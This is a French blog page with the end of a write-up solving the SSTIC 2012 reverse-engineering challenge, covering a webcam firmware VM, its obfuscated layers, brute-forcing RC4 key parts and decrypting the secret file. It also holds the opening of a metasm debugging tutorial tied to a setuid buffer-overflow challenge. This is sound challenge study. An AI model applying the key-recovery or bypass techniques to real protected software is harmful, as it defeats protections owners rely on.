La lecture des <em>opcodes</em> de la machine virtuelle se fait via la fonction en <em>0x268</em>. Cette fonction consomme un certain nombre[8. Contenu dans le registre r0] de bits à chaque fois qu'elle est appelée (contenu dans <em>r0</em>), dépendant de ce qu'elle a lu précédemment. Contrairement au CPU <em>CY16</em>, les <em>opcodes</em> du CPU implémenté par la machine virtuelle ne sont pas alignés.<br />
<br />
Pour savoir où elle en est, et qu'est ce qu'elle doit consommer, cette fonction stocke 2 valeurs. La première se situe en <em>0x11c</em> et représente l'indice du prochain octet à lire, et la seconde se situe en <em>0x11e</em> et représente l'indice du prochain bit à lire dans le prochain octet.<br />
<br />
Cette fonction lit la <em>RAM</em> du <em>MIPS</em> via la fonction permettant le mapping d'adresse. Ce qui suggère que le code de la machine virtuelle se situe directement dans la <em>RAM</em> du <em>MIPS</em>. Les valeurs de <em>0x11c</em> et <em>0x11e</em> étant initialisées en dur à 0 dans le <em>stage2.rom</em>, le code de la machine virtuelle commence à l'adresse 0 de <em>RAM</em> et est donc contenu dans les <em>layers</em>.<br />
<br />
Remarque: Dans le cas ou l'<em>opcode</em> a besoin d'une adresse non mappée, la fonction responsable du mapping restore les valeurs <em>0x11c</em> et <em>0x11e</em> à leur valeur d'origine pour rééxecuter la même instruction.<br />
<h5>
Gestion des opérandes</h5>
La gestion des opérandes des instructions est faite par deux fonctions.<br />
<br />
La première fonction se situe en <em>0x3c4</em>. Cette fonction va consommer des bits (ref lectures <em>opcodes</em> de la machine virtuelle) et en fonction de leurs valeurs, alors l'opérande pourra être soit la valeur contenue dans un registre, soit une valeur stockée en dur dans le layer, soit une adresse, soit une adresse contenue dans un registre, soit un offset relatif à une adresse contenue dans un registre. La suite de bits consommés pour la création de l'opérande a cette forme :<br />
<br />
<pre class="brush:plain">size = ReadBits(1)
type = ReadBits(2)
if type == 0:
reg = ReadBits(4)
res = *reg
elif type == 1:
if size == 0:
res = ReadBits(8)
else:
res = ReadBits(16)
elif type == 2:
ref = ReadBits(2)
if ref == 0:
reg = ReadBits(4)
temp = *reg
elif ref == 1:
temp = ReadBits(16)
elif ref == 2:
temp = ReadBits(16)
reg = ReadBits(4)
temp += *reg
res = Get(temp)
else:
# MOV chiffré décrit plus tard
pass</pre>
<br />
Cette fonction construit une structure qui caractérisera l'opérande et qui aura la forme suivante :<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4DgPhV72Q2q_AD5sa3MUkTmCLUF9vBVRXs5lZJrLWqmtDPnhHS1kgfL5Ke12jtidYufPKw1MQnMF2bofPkF8lqjnSJQ8g7eSEK97BL0Ww9dLInvtaIHkBvAF9kUaxsYTzNBN9ObJhAg4/s1600/operand_structure.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4DgPhV72Q2q_AD5sa3MUkTmCLUF9vBVRXs5lZJrLWqmtDPnhHS1kgfL5Ke12jtidYufPKw1MQnMF2bofPkF8lqjnSJQ8g7eSEK97BL0Ww9dLInvtaIHkBvAF9kUaxsYTzNBN9ObJhAg4/s1600/operand_structure.png" /></a></div>
<br />
Dans tous les cas la valeur en <em>0x126</em> sera la valeur finale (par exemple dans le cas d'une adresse ça sera la valeur située à cette adresse).<br />
<br />
La deuxième fonction se situe en <em>0x346</em>. Elle a pour seul rôle de copier le contenu de la structure précédemment décrite en <em>0x134</em>. Concrètement cette fonction fait en sorte que l'opérande précédemment parsée, devienne la deuxième opérande.<br />
<h5>
Sauvegarde des résultats</h5>
La sauvegarde des résultats de chaque instruction est faite par la fonction <em>0x35e</em>. Elle peut se faire soit dans un registre, soit en mémoire (dépendant du type d'opérande). Ce qui est important, c'est que cette sauvegarde est conditionnelle, et dépend des bits consommés. Ce fonctionnement permet de conclure que toutes les commandes de la machine virtuelle sont conditionnelles.<br />
<h5>
Gestion des flags</h5>
Les gestion des flags est faite par la fonction <em>0x814</em>. Cette fonction sauvegarde les flags du CPU de la caméra soit en <em>0x144</em>, soit en <em>0x145</em>. Il y aura donc un flag <em>Z1</em>, un flag <em>Z2</em>, un flag <em>C1</em>, un flag <em>C2</em>... <br />
<br />
Chaque instruction pourra donc soit modifier les <em>flags 1</em>, soit modifier les <em>flags 2</em>, soit ne pas toucher aux flags. De plus l'exécution de chaque instruction dépendra des <em>flags 1</em> ou des <em>flags 2</em>.<br />
<br />
Pour savoir si une condition est valide ou non, les <em>flags 1</em> ou les <em>flags 2</em> de la dernière instruction sont restaurés avant l'exécution de l'instruction courante. Le saut situé à l'adresse <em>0x537</em> est patché pour refléter la condition sauvegardée. S'il est pris alors le bit 1 du registre <em>r14</em> sera positionné. Au final l'instruction courante ne positionnera son résultat qu'en fonction de ce bit.<br />
<br />
<pre class="brush:plain">$ ./ssticpwn -o 6 -d stage2.rom
Python 2.7.2+ (default, Oct 4 2011, 20:06:09)
[GCC 4.6.1] on linux2
Type "help", "copyright", "credits" or "license" for more information.
(InteractiveConsole)
>>> b 524
>>> f script.txt
008a MOV $r9 , 0x68
BREAKPOINT 0 !
0524 MOVB [0x537] , $r11
>>> lb
BREAKPOINTS:
0 => 0x524:
>>> dis 536 2
0536 JNC +0x1
0538 ADDI $r14 , 2
>>> ir
[...]
$r11 => 0x94e
[...]
>>> s
0528 MOV $r0 , [0xc000]
>>> dis 536 2
0536 JMP +0x1
0538 ADDI $r14 , 2</pre>
Dans cet exemple, le <em>JNC</em> en <em>0x536</em> est devenu <em>JMP</em>.<br />
<h5>
MOV</h5>
Le pseudo-code de la fonction <em>MOV</em> située en 0x1a6 est le suivant:<br />
<br />
<pre class="brush:plain">Si R1 == 4:
R0 = LoadWord(R0)
Si R1 == 0:
StoreByte(R0,R2)
Si R1 == 1:
StoreWord(R0,R2)
Sinon
R0 = LoadByte(R0)</pre>
<br />
Cette fonction est appelée par la fonction <em>0x166</em> dont le pseudo-code est :<br />
<br />
<pre class="brush:plain">Si R1 == 0:
StoreByte(R0,R2)
Si R1 == 2:
R0 = LoadByte(R0)
Si R1 == 1:
StoreWord(R0,SWAP(R2))
Si R1 == 3:
StoreWord([R0],R2)
Si R1 == 4:
R0 = LoadWord([R0])</pre>
<h5>
MOV Chiffré</h5>
Une fonction située en <em>0x84c</em> peut être appelée soit dans la préparation des opérandes (<em>0x3c4</em>), soit dans la sauvegarde des résultats (<em>0x35e</em>). Cette fonction permet de lire ou d'écrire en mémoire tout en chiffrant la valeur. Par exemple, si une opérande fait appel à cette fonction lors d'une écriture, alors la valeur de l'opérande sera chiffrée avant d'être écrite en mémoire.<br />
<br />
Le chiffrement de la valeur se fait par l'intermédiaire d'une clé, constituée d'une adresse mémoire, d'une valeur de registre et d'un entier.<br />
<br />
Cette fonction a une particularité, dans le cas ou elle est appelée avec les mêmes paramètres, une valeur chiffrée qui passera dans cette fonction sera déchiffrée.<br />
<br />
En d'autres termes, si <em>f</em> représente cette fonction et <em>k</em> est la clé. <br />
<br />
Si <em>f(k,x) = y</em>, alors <em>f(k,y) = x</em>.<br />
<h5>
Fonction principale</h5>
La fonction principale située en <em>0x4da</em> permet en fonction du code lu venant du <em>layer</em> de construire les bonnes opérandes, d'exécuter les bonnes instructions et de sauvegarder ou non les résultats. Le reverse de cette fonction permet de construire un désassembleur pour la machine virtuelle implémentée par le firmware <em>stage2.rom</em>.<br />
<br />
Le premier bit lu par cette fonction permet de savoir quels sont les flags qui seront utilisés par l'instruction, est ce que ce seront les <em>flags 1</em> ou les <em>flags 2</em>.<br />
<br />
Les 8 bits suivants représentent les flags qui conditionnent l'exécution ou non de l'instruction[9. plus exactement la sauvegarde ou non des résultats de cette instruction]. En fonction du premier bit lu, seul les 4 premiers bits seront gardés, ou seul les 4 derniers. Cette condition sera comparée aux flags sauvegardés et le mécanisme d'altération du code présenté dans la gestion des flags sera exécuté.<br />
<br />
Les 3 bits suivants permettent de préciser quelle instruction doit être exécutée (<em>MOV</em>, <em>AND</em>, <em>OR</em>...).<br />
<br />
Enfin le bit suivant permet de spécifier si oui ou non la commande doit modifier les flags.<br />
<br />
Le traitement suivant dépend de l'instruction à exécuter, et suivra généralement le modèle du chargement d'une ou deux opérandes et de la sauvegarde ou non des résultats.<br />
<h5>
Photographie de la mémoire</h5>
Pour fonctionner, la machine virtuelle va stocker son état dans la mémoire de la caméra. Après rétroconception du code, il est possible d'avoir une photographie précise de cette mémoire.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhonECOxXKgyUkwzutegx1zo4nPU-sq2_63J9MKeSNC9U7kXtwVO15wgVwNphWUkbLdrlNsBaZErr08XKIKO_rZCb8XYkV_96hhd8Y3aaQZl1TZ0ZVDVJMA9u4oPWky55lPO45ldxtMMfg/s1600/vm_state.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="464" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhonECOxXKgyUkwzutegx1zo4nPU-sq2_63J9MKeSNC9U7kXtwVO15wgVwNphWUkbLdrlNsBaZErr08XKIKO_rZCb8XYkV_96hhd8Y3aaQZl1TZ0ZVDVJMA9u4oPWky55lPO45ldxtMMfg/s640/vm_state.png" width="640" /></a></div>
<h3>
CPU Machine virtuelle</h3>
Grâce au reverse du firmware <em>stage2.rom</em>, il est possible d'écrire un désassembleur pour le code interprété par la machine virtuelle. Un émulateur n'a pas été écrit, mais l'émulateur du <em>cy16</em> a été réutilisé. Pour cela de nouvelles fonctions lui ont été ajoutées comme:<br />
<ul>
<li><em>bvm</em> permettant de mettre des <em>breakpoints</em> à des adresses de la machine virtuelle (conditionnel, en lecture, écriture...)</li>
<li><em>irvm</em> permettant d'afficher les registres de la machine virtuelle</li>
<li><em>sfvm</em> permettant d'afficher les flags de la machine virtuelle</li>
</ul>
<h4>
Layer 1</h4>
Comme pour <em>stage2.rom</em>, un listing du code assembleur du layer1 est disponible dans cette solution, ainsi qu'un graphique pour simplifier le reverse.<br />
<pre class="brush:bash">$ ./sstic_pwn -c vm -x layer1.bin > layer1.asm
$ ./sstic_pwn -c vm -g layer1.png layer1.bin</pre>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAdotJf5U1kMIBAOT2Vfzb0m6JerfhcZlkiwZrxQzW27_YM09MRg1BUiDkspG0eSaFSXrUstGNT1som7pxEhfg3jnL4YTBCqZ7L-z4z7vx-nycVyvifd91vdusF_PdPMSzZN6lfGCNzHs/s1600/layer1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAdotJf5U1kMIBAOT2Vfzb0m6JerfhcZlkiwZrxQzW27_YM09MRg1BUiDkspG0eSaFSXrUstGNT1som7pxEhfg3jnL4YTBCqZ7L-z4z7vx-nycVyvifd91vdusF_PdPMSzZN6lfGCNzHs/s320/layer1.jpg" width="28" /></a></div>
<div style="text-align: center;">
<br /></div>
<br />
<br />
<br />
<br />
<div style="text-align: justify;">
Le code du <em>layer 1</em> semble correct car les dernières instructions modifient l'adresse <em>0x8000</em>, condition de sortie comme vu dans le reverse de <em>vicpwn_handle</em>. Cependant c'est à priori un code obfusqué, dans le sens ou le code produit pourrait être grandement simplifié. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
La machine virtuelle ne possède pas l'opération <em>XOR</em>, pourtant le <em>layer1</em> en utilise à outrance. Celui-ci se retrouve codé avec un mélange d'opération <em>OR</em>, <em>AND</em> et <em>NOT</em>[10. Par exemple p^q=(p & ~q ) | (~p & q)].</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Même si les blocs du <em>layer1</em> sont au final très semblables, ne connaissant pas le niveau de sadisme des auteurs du challenge, ils ont tous étaient reversés et simplifiés à la main, pour éviter une mauvaise surprise.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Au delà de la simplification du code avec des <em>XOR</em>, on remarque très rapidement qu'une partie vraiment très faible est dépendante de la clé (chargée dans les registres <em>r12</em> et <em>r3</em> lors des deux premières instructions). La majeur partie du code est fixe et peut donc être simplifiée sans problème. Au final, l'algorithme qui paraissait très long, se limite à son équivalent en C suivant :</div>
<br />
<pre class="brush:cpp">[...]
int is_valid_key(uint32_t key) {
uint8_t k0 = key&0xff;
uint8_t k1 = (key>>8)&0xff;
uint8_t k2 = (key>>16)&0xff;
uint8_t k3 = (key>>24)&0xff;
uint16_t k = (k3^k1^k0)<<8 | (k0^k1^k2^k3);
if(k != 0xae4d) {
return 0;
} else {
uint16_t x = (((k1^0x95)<<8) | (k1^k0^0x77))-0x539;
if(((x+0x94ec)&0xffff) == 0) {
printf("Key=%x A000=%x A002=%x",key,0x8cfa,x^0xbeef);
}
}
}
[...]
</pre>
<br />
Une recherche exhaustive des clés ne pose aucun problème, et nous permet de connaître les nouvelles valeurs qui seront stockées en <em>RAM MIPS</em> à l'adresse <em>0xa000</em> (différentes de la clé de départ, conditions pour que la clé entrée soit correcte.<br />
<br />
<pre class="brush:plain"># ./layer1.c
Key=94e3e5df A000=8cfa A002=d5fb</pre>
<br />
La clé <em>0x94e3e5df</em> est une partie de la clé que nous recherchons (modulo l'inversion d'octets).<br />
<br />
Le contenu de la zone mémoire en <em>0xa000</em> nous permet de déchiffrer le <em>layer2</em> avec le programme fourni précédemment.<br />
<br />
<pre class="brush:plain">$ ./unencode_layer1.py fa8cfbd5</pre>
<h4>
Layer 2</h4>
On commence par désassembler le <em>layer2</em> avec notre outil.<br />
<br />
<pre class="brush:plain">$ ./sstic_pwn -c vm -x layer2_unencode.bin > layer2.asm
$ ./sstic_pwn -c vm -g layer2.png layer2_unencode.bin</pre>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheymZy6G1UJvzyD1nLv4e6SDeysoBGzMShyphenhyphenN76m7_LJsx5HaVMSGNat8FoTwr_7aIyLSOOjwcW4gEpjWDOPAhFVjcNy5qT5phAqVB5Ng8IqSaAQHW1MmhHeEiH43WkxabYkRMWNd2inaU/s1600/layer2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheymZy6G1UJvzyD1nLv4e6SDeysoBGzMShyphenhyphenN76m7_LJsx5HaVMSGNat8FoTwr_7aIyLSOOjwcW4gEpjWDOPAhFVjcNy5qT5phAqVB5Ng8IqSaAQHW1MmhHeEiH43WkxabYkRMWNd2inaU/s320/layer2.jpg" width="22" /></a></div>
<div style="text-align: center;">
<br /></div>
Comme pour le <em>layer1</em>, le code semble correct à cause de la modification de la valeur contenue à l'adresse <em>0x8000</em> et du pattern <em>0xdead 0xbeaf</em> très connu.<br />
<br />
Contrairement au <em>layer1</em>, le <em>layer2</em> fait une utilisation à outrance des <em>opcodes</em> de chiffrement. Cependant comme expliqué lors du reverse de ces <em>opcodes</em>, quand ils lisent une donnée ils la chiffrent automatiquement, et si cette donnée avait été préalablement chiffrée avec la même clé, elle est automatiquement déchiffrée. <br />
<br />
<pre class="brush:plain">06b3 MOV [$r4+0xc56a]{0xc} , 0x24
06f0 SHL 0x2 , [$r4+0xc56a]{0xc}</pre>
<br />
Dans cet exemple, la valeur <em>0x24</em> est stockée chiffrée à l'adresse <em>\$r4+0xc56a</em> (en utilisant comme clé <em>4,0xc56a,0xc</em>). Cependant lors du <em>SHL</em>, la valeur est déchiffrée, le <em>SHL</em> s'effectue et le résultat est rechiffré avant d'être stocké en mémoire. Il est donc tout à fait possible de raisonner comme si le chiffrement n'avait pas lieu (tant que la même clé est utilisée).<br />
<br />
Par contre si une zone mémoire non chiffrée est lue, celle-ci est automatiquement chiffrée avant que le calcul dessus ait lieu.<br />
<br />
Dans le <em>layer2</em> à l'exception de 3 instructions qui se trouvent aux adresses <em>0xf9b</em>, <em>0x1174</em> et <em>0x566A</em>, toutes les actions de chiffrement peuvent être ignorées. Cependant à ces adresses la mémoire qui est lue se situe dans la <em>RAM</em> dont le contenu n'est pas chiffré. Le résultat de la lecture chiffrera donc l'information. Après analyse, ces instructions lisent à l'intérieur du <em>blob</em> qui est concaténé à la suite de la clé et qui servira pour déchiffrer le dernier <em>layer</em>.<br />
<br />
Voilà un exemple de la première valeur qui va être lue dans blob et qui sera ensuite chiffrée:<br />
<br />
<pre class="brush:plain">$ ./ssticpwn -o 6 -d stage2.rom
Python 2.7.2+ (default, Oct 4 2011, 20:06:09)
[GCC 4.6.1] on linux2
Type "help", "copyright", "credits" or "license" for more information.
(InteractiveConsole)
>>> bvmr 0xa010 0xa110
>>> f script.txt
[...]
BREAKPOINT 0 !
01d0 MOV $r0 , [$r8]
>>> ir
[...]
$r8 => 0x10
[...]
>>> x 10 54
f0 01 10 a0 50 ed e0 01 90 ee
>>> s
>>> ir
$r0 => 0x4861
[...]
>>> s
01d2 JMP +0x1
>>> s
01d6 POP $r8
>>> s
01d8 RET
>>> s
0894 XOR $r0 , $r6
>>> ir
$r0 => 0x4861
[...]
$r6 => 0x3361
[...]
>>> s
0896 AND $r3 , 0x4
>>> ir
$r0 => 0x7b00
[...]</pre>
<br />
Un premier <em>breakpoint</em> a été positionné et sera déclenché dès qu'un zone mémoire MIPS entre les adresses 0xa010 et 0xa110[11. <em>0xa010</em> et <em>0xa110</em> sont ici des adresses MIPS et non de la caméra] sera lue. La valeur <em>0x4861</em> est lue à l'adresse <em>0xa010</em> et correspond aux deux premiers octets du <em>blob</em>. Cette valeur est immédiatement chiffrée via un <em>XOR</em> en <em>0x894</em>.<br />
<br />
Le même principe d'obfuscation que pour le <em>layer1</em> est utilisé. Le code suivant en C permet non seulement d'obtenir la clé par recherche exhaustive, mais aussi de modifier le <em>blob</em>. Le déchiffrement du <em>layer3</em> a déjà été évoqué précédemment.<br />
<br />
<pre class="brush:cpp">[...]
uint16_t is_valid(uint16_t key) {
int i;
uint16_t k = key;
uint16_t k1 = 0x94e3;
uint8_t blob[BLOB_SIZE];
FILE *fd = fopen(BLOB,"r");
fread(blob,1,BLOB_SIZE,fd);
fclose(fd);
for(i=0;i<64;i++) {
uint16_t v = o(0x9fc0,0x50+4*i+2,7,*((uint16_t*)blob+2*i+1));
uint16_t v1 = o(0x9fc0,0x50+4*i,7,*((uint16_t*)blob+2*i));
((uint16_t*)blob)[2*i] = v1 ^ k1;
((uint16_t*)blob)[2*i+1] = v ^ k;
k -= i;
k1 += i;
}
if(((uint16_t*)blob)[127] == 0xbe92) {
write_layer(blob);
printf("blob written\n");
return 1;
}
return 0;
}
[...]</pre>
<br />
Et le résultat:<br />
<br />
<pre class="brush:plain">$ ./layer2
blob written
KEY = f63d</pre>
Seul les octets manquants sont écrits, les deux octets (<em>0xe5fd</em>) en commun avec le <em>layer1</em> ont été ignorés.<br />
<h4>
Layer 3</h4>
On commence par désassembler le <em>layer3</em> avec notre outil.<br />
<br />
<pre class="brush:plain">$ ./sstic_pwn -c vm -x layer3_unencode.bin > layer3.asm
$ ./sstic_pwn -c vm -g layer3.png layer3_unencode.bin</pre>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhc41_M4lwTJlvykNofdtKjO1aYjegymR3djNjFvv3dQ5C_IZ_RsgYn36qzxqF7Xp1k_MfiBb37l3ueK8a008dI2auMZ2V4zrhCM_rLLEISa8FtRu52eAnx_SRirLqgPTtggUrsmEyqYdE/s1600/layer3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhc41_M4lwTJlvykNofdtKjO1aYjegymR3djNjFvv3dQ5C_IZ_RsgYn36qzxqF7Xp1k_MfiBb37l3ueK8a008dI2auMZ2V4zrhCM_rLLEISa8FtRu52eAnx_SRirLqgPTtggUrsmEyqYdE/s320/layer3.jpg" width="43" /></a></div>
<div style="text-align: center;">
<br /></div>
Le <em>layer3</em> ne présente aucune difficulté supplémentaire comparée au <em>layer2</em>. Les octets de <em>blah</em> sont lus et chiffrés à la volée puis <em>xorés</em> avec une transformation faite sur la clé pour être réécrits dans <em>blah</em> à la même position. La valeur finale de <em>blah</em> doit être égale à <em>V29vdCAhISBTbWVsbHMgZ29vZCA6KQ==</em>. Le code C suivant permet d'effectuer une recherche exhaustive sur les 2 derniers octets manquants de la clé[12. Les deux premiers octets sont trouvés grâce au <em>layer</em> précédent et sont égals à <em>0xf63d</em>].<br />
<br />
<pre class="brush:cpp">[...]
int is_valid_key(uint16_t key) {
uint8_t i;
uint8_t x = (KEY_PART1&0xff)^(key&0xff);
uint8_t y = (KEY_PART1>>8)^(key>>8);
uint16_t k = (y<<8) + x + y;
uint16_t blah[SIZE_BLAH];
memcpy(blah,blah_orig,SIZE_BLAH);
for(i=0;i<32;i+=2) {
// o = fonction de chiffrement
uint16_t v = o(0xa00c,i+4,0x33,*((uint16_t*)blah+(i/2)));
((uint16_t*)blah)[i/2] = v ^ k;
}
if(!strncmp((const char *)blah,SOLUTION,32))
return 1;
return 0;
}
[...]
</pre>
<br />
Et le résultat:<br />
<br />
<pre class="brush:plain">$ ./layer3
KEY = 8937</pre>
La rétroconception des 3 layers permet donc d'obtenir la deuxième partie de la clé RC4 qui est <em>e5df94e3f63d8937</em>.<br />
<br />
<h3>
Dernière ligne droite</h3>
Le cassage de la <em>White-Box DES</em>, puis le reverse du firmware de la webcam et de ses <em>layers</em> nous permettent d'obtenir la clé <em>RC4</em> tant attendue : <em>fd4185ff66a94afde5df94e3ff63d8937</em>.<br />
<br />
Comme bien entendu nous ne disposons pas de caméra, le programme <em>ssticrypt</em> ne pourra initialiser le périphérique et la vérification de la deuxième partie de la clé va échouer. Soit il nous suffit de patcher <em>ssticrypt</em> pour qu'il ne faisse plus la vérification de la 2<sup>e</sup> partie de la clé, soit nous réécrivons juste la partie responsable du déchiffrement de <em>secret</em>. La deuxième solution est choisie. Les deux points à ne pas oublier sont qu'il ne faut pas prendre le <em>md5</em> contenu en début de fichier, et apporter les modifications nécessares à base de <em>XOR</em> au secret avant de le déchiffrer.<br />
<br />
<pre class="brush:cpp">[...]
// secret est transformé avant d'être déchiffré
void unencode(char *data, int size) {
int i;
for(i=1;i<size;i++) {
data[i-1] = data[i-1] ^ data[i];
}
}
[...]
void decrypt_rc4(char *key, char *indata, int size) {
RC4_KEY rc4_k;
char outdata[size];
RC4_set_key(&rc4_k,LEN,key);
RC4(&rc4_k,size,indata,outdata);
int i;
for(i=0;i<size;i++) {
printf("%c",outdata[i]);
}
}
[...]</pre>
<br />
Et enfin la récompense [13. Après quelques prières pour que ce fichier <em>result</em> ne soit pas encore une énième étape ;)] :<br />
<br />
<pre class="brush:bash">$ ./rc4_decrypt fd4185ff66a94afde5df94e3f63d8937 secret > result
$ file result
result: Linux rev 1.0 ext2 filesystem data, UUID=ace27cef-09d4-4d79-ad64-42597535b42e
$ sudo mount -o loop result /mnt/loop
$ ls -l /mnt/loop
total 918K
-rw-r--r-- 1 root root 901K 2012-03-19 17:41 lobster
drwx------ 2 root root 12K 2012-03-19 17:40 lost+found
$ file /mnt/loop/lobster
lobster: RIFF (little-endian) data, AVI, 352 x 264, ~15 fps, video: H.264 X.264 or
H.264, audio: MPEG-1 Layer 3 (stereo, 44100 Hz)
$ mplayer /mnt/loop/lobster
</pre>
<pre class="brush:bash">
</pre>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEmE14ls2MmR-osgP9evFJvHm3jsmYMwFVokWgTaJ0OAXrT_yKVnN70OhXqGFq21WITL1w0bF9lFJw5EJaozFIat1IeOv_7V5v1Kri5f1kIDScWgpWUWVTCSHHfJhvtKNyzMIlvwPOWFE/s1600/solution.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEmE14ls2MmR-osgP9evFJvHm3jsmYMwFVokWgTaJ0OAXrT_yKVnN70OhXqGFq21WITL1w0bF9lFJw5EJaozFIat1IeOv_7V5v1Kri5f1kIDScWgpWUWVTCSHHfJhvtKNyzMIlvwPOWFE/s400/solution.png" width="400" /></a></div>
<div style="text-align: center;">
<br /></div>
Remarque: En réalité le programme ci-dessus (fourni avec ce rapport) permet aussi de bruteforcer les 2 derniers octets de la clé. J'avoue n'avoir reversé le <em>layer3</em> qu'après avoir soumis la solution. Les deux derniers octets de la clé ont été trouvé par bruteforce.<br />
<h3>
Conclusion</h3>
Pour ma première participation au challenge SSTIC, j'avoue ne pas être déçu. Je n'avais qu'une peur en commençant ce challenge, c'est que ça soit du <em>reverse</em>. J'avais visé juste !<br />
<br />
Un grand merci aux auteurs, que ça soit pour la partie <em>forensic</em>, <em>cryptographie</em> ou bien entendu la partie <em>reverse</em>. Chaque partie était vraiment très intéressante, difficile mais sans pour autant être insurmontable[14. On se dit toujours ça après coup].ymvunjqhttp://www.blogger.com/profile/11473437397791762485noreply@blogger.com6tag:blogger.com,1999:blog-7133158144968101578.post-70096405892377690292011-06-13T11:04:00.000-07:002013-05-14T00:46:06.903-07:00Metasm for funDurant mes pérégrinations sur le net je suis tombé sur un challenge intéressant : un programme setuid bit avec une sorte de <a href="http://hack-and-fun.blogspot.fr/2011/04/buffer-overflow.html">buffer overflow</a> à exploiter. Jusque là, rien de bien nouveau, mais la vulnérabilité se trouve dans la fonction d'enregistrement de l'utilisateur, celle là seulement appelée si on termine le mini-jeu proposé avant...<br />
<br />
Là de suite ça devient plus compliqué pour automatiser l'exploit surtout que le mini-jeu utilise largement les fonctions de génération de nombres pseudo aléatoires... Heureusement le programme laisse la possibilité de passer en paramètre la valeur qui initialisera <a href="http://linux.die.net/man/3/srand">srand</a>...<br />
<br />
Tout devient donc forcément plus simple, il suffira de trouver le paramètre qui va générer le mini-jeu de sorte qu'on puisse le terminer facilement. Tout appel ultérieur au programme avec le même paramètre générera donc le même mini-jeu. Pour rappel, si on initialise le générateur pseudo-aléatoire avec la même valeur (<em>srand</em>), tous les appels aux fonctions <em>rand</em> produiront la même suite de nombre (il ne sera pas possible de prédire la suite de valeur, mais ce sera toujours la même).<br />
<br />
Pour trouver cette suite qui nous intéresse, on pourrait très bien faire un petit programme appelant <em>srand</em>, puis faisant les appels successifs aux fonctions <em>rand</em>, celà conviendrait très bien et serait probablement bien plus simple. Mais l'objectif ici n'est pas la résolution du problème, c'est l'apprentissage en douceur de quelques fonctionnalités de <a href="http://metasm.cr0.org/">metasm</a>. On va donc utiliser cet outil en tant que débogueur, pour mettre les points d'arrêt aux endroits qui nous intéressent en affichant les bonnes valeurs. Tout cela sera accompagné d'un petit script ruby pour automatiser le tout, car <a href="http://metasm.cr0.org/">metasm</a> est écrit en ruby. Mais j'ai ouïe dire qu'un outil du même type va bientôt voir le jour, et lui écrit en python, je pense que ça va faire des heureux :p<br />
<br />
Pour commencer, le programme... Je ne vais pas utiliser le programme du challenge dont je parle mais d'un programme qui a juste pour objectif d'illustrer mon propos.<br />
<br />
<pre class="brush:cpp">#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define SIDE 10
#define HEROE 'H'
#define TRAP 'O'
#define TREASURE '*'
#define EMPTY '.'
#define NB_TRAPS 25
#define POS(i,j) (((i)*SIDE)+(j))
#define I(pos) ((pos)/SIDE)
#define J(pos) ((pos)%SIDE)
unsigned char g_map[SIDE*SIDE];
void set_element(const unsigned int e) {
while(1) {
unsigned int pos;
pos = rand() % (SIDE*SIDE);
//printf("%i\n",pos);
if(g_map[pos] == EMPTY) {
g_map[pos] = e;
break;
}
}
}
void print_map(void) {
unsigned int i,j;
for(i=0;i<SIDE;i++) {
for(j=0;j<SIDE;j++) {
printf("%c ",g_map[POS(i,j)]);
}
printf("\n");
}
}
void game(void) {
// TODO
}
void instruction() {
char r;
printf("Voulez vous lire les instructions (o/n) ? ");
r = getchar();
if(r == 'o') printf("blabla\n");
}
int main(int argc, const char **argv) {
unsigned int seed,i;
if(argc < 2) {
fprintf(stderr,"Usage: %s seed\n",argv[0]);
exit(EXIT_FAILURE);
}
seed = strtoul(argv[1],NULL,10);
// On initialise le générateur de nombre pseudo-aléatoire
srand(seed);
instruction();
// Initialisation de la map
memset(g_map,(int)EMPTY,SIDE*SIDE);
// On place le héros
set_element(HEROE);
// On place le trésor
set_element(TREASURE);
// On place les pièges
for(i=0; i<NB_TRAPS; i++) {
set_element(TRAP);
}
//print_map();
game();
return EXIT_SUCCESS;
}
</pre><pre class="brush:plain"># gcc -Wall -o game game.c
</pre><br />
Un petit programme simple, qui génère une carte de 10 sur 10 dans laquelle se trouve un trésor et 25 pièges. Il faut se déplacer sur la carte pour trouver le trésor, en évitant les pièges. Le programme s'assure quand il génère la carte de toujours placer un élément sur une case vide.<br />
<br />
L'idée ici va être de trouver la bonne <em>seed</em> pour que notre héros se retrouve juste à coté du trésor et ce dès le démarrage (forcément...).<br />
<br />
On commence par installer metasm, comme expliqué dans la <a href="http://metasm.cr0.org/doc/install_notes.html">documentation</a> via <a href="http://mercurial.selenic.com/">mercurial</a> :<br />
<pre class="brush:plain"># hg clone http://metasm.cr0.org/hg/metasm/
</pre><br />
On configure l'interpréteur ruby pour qu'il puisse trouver les librairies de metasm :<br />
<pre class="brush:plain"># export RUBYLIB=$RUBYLIB:/metasm
</pre><br />
Et on fait un petit test (il est nécessaire d'avoir la libgtk2-ruby pour le GUI) :<br />
<pre class="brush:plain"># ruby /metasm/samples/disassemble-gui.rb game
